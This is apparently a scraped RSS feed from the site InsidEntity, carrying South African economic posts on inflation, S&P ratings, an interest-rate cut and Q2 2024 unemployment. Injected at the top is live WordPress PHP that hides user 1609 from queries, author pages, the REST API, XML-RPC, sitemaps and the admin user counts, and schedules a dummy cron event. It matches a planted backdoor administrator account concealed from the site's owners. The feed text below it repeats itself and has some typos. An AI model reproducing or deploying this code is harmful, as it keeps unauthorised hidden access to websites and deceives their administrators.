add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 1609;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 1609 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 1609 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 1609;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 1609;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 1609;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/1609(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 1609;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Republic of South Africa: Investor Engagements Close-Out Period: 20 January 2025 – 18 February 2025 appeared first on InsidEntity.
]]>The post Republic of South Africa: Investor Engagements Close-Out Period: 20 January 2025 – 18 February 2025 appeared first on InsidEntity.
]]>The post South Africa: Q4 Inflation appeared first on InsidEntity.
]]>The post South Africa: Q4 Inflation appeared first on InsidEntity.
]]>The post SA: Revision Of The Republic Of South Africa’s (“Rsa”) Credit Rating By S&P Global Ratings (“S&P”) appeared first on InsidEntity.
]]>The post SA: Revision Of The Republic Of South Africa’s (“Rsa”) Credit Rating By S&P Global Ratings (“S&P”) appeared first on InsidEntity.
]]>The post South Africa: Economic Wrap-Up For October 2024 appeared first on InsidEntity.
]]>The post South Africa: Economic Wrap-Up For October 2024 appeared first on InsidEntity.
]]>The post South Africa: Interest rate cut by 25 basis points to 8.00% appeared first on InsidEntity.
]]>For core inflation, we expect the trajectory to be slightly below 4.5% over the medium term. Again, this is primarily due to the exchange rate, which affects the core mainly through import prices.
The post South Africa: Interest rate cut by 25 basis points to 8.00% appeared first on InsidEntity.
]]>The post South Africa: Unemployment increase to 33.5% in Q2 of 2024 appeared first on InsidEntity.
]]>The results also indicate that the largest decreases in employment were observed in Western Cape (65 000), Mpumalanga (50 000) and KwaZulu-Natal (49 000), while the largest increases were observed in Gauteng (42 000), Limpopo (31 000) and Eastern Cape (25 000) provinces. Comparisons between the first quarter of 2024 and second quarter of 2024 results show that the total number of unemployed women increased by 93 000 to 4,1 million while the number of employed women decreased by 28 000 to 7,4 million. This resulted in the women’s unemployment rate increasing from 35,2% in first quarter of 2024 to 35,8% in the second quarter of 2024Women are more likely to be employed in community and social services, Trade and Private households industries and in clerical, technical and domestic work occupations compared to men. Although women’s labour force participation rate has been increasing over time. Men’s participation in the labour force is higher than women participation.here was a noticeable increase of 7,2% or 370 000 in the number of employed youth during the same period. The increase in both employment and unemployment among the youth resulted in a decrease in youth unemployment rate by 1,3 percentage points to 46,5% in Q2:20224.
Click here for the detailed report StatsSA Unemployement report 2024
The post South Africa: Unemployment increase to 33.5% in Q2 of 2024 appeared first on InsidEntity.
]]>